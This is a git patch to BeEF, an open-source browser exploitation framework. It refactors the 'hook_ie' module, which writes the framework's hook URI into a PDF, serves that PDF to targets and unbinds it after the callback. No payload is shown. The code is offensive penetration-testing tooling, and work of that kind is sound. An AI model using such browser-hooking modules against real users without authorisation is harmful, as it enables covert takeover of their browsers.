From f17940f4898d2228a72cf746ef5e6a5cd3fa08e4 Mon Sep 17 00:00:00 2001 From: xntrik Date: Mon, 25 Jul 2011 06:42:57 +0000 Subject: [PATCH] tidying up r1088 so that the PDF is only generated and mounted upon pre_send - also unbound upon callback git-svn-id: https://beef.googlecode.com/svn/trunk@1097 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/browser/hook_ie/module.rb | 26 +++++++++++++++++--------- 1 file changed, 17 insertions(+), 9 deletions(-) diff --git a/modules/browser/hook_ie/module.rb b/modules/browser/hook_ie/module.rb index dee1b79b0..85b8a09a7 100644 --- a/modules/browser/hook_ie/module.rb +++ b/modules/browser/hook_ie/module.rb @@ -27,7 +27,17 @@ class Hook_ie < BeEF::Core::Command 'File' => __FILE__ }) - #Get the servers configurations. + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use 'beef.dom' + use_template! + end + + def pre_send + #Get the servers configurations. configuration = BeEF::Core::Configuration.instance #The hook url to be replace the token in the original pdf file. @@ -38,6 +48,8 @@ class Hook_ie < BeEF::Core::Command # The original pdf file contains a token that will get replaced during the initialization with # the actual hook URI of beef. Note that the hook URI is accessed via the DNS name. + + #xntrik - unsure what happens to this file after it's been re-written, will never be found again because it's been re-written? File.open('./modules/browser/hook_ie/bounce_to_ie.pdf',"r") { |original_hook_file| original_hook_file.each_line { |line| # If the line includes the hook token, then replace it with the actual hook URI @@ -55,18 +67,14 @@ class Hook_ie < BeEF::Core::Command #Bind the configured PDF file to the web server. BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/hook_ie/bounce_to_ie_configured.pdf', '/report', 'pdf', -1); - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use 'beef.dom' - use_template! end def callback content = {} - content['result'] = @datastore['result'] + content['result'] = @datastore['result'] + + #Unmount the assetnow that we've received the callback + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/report.pdf'); save content #update_zombie!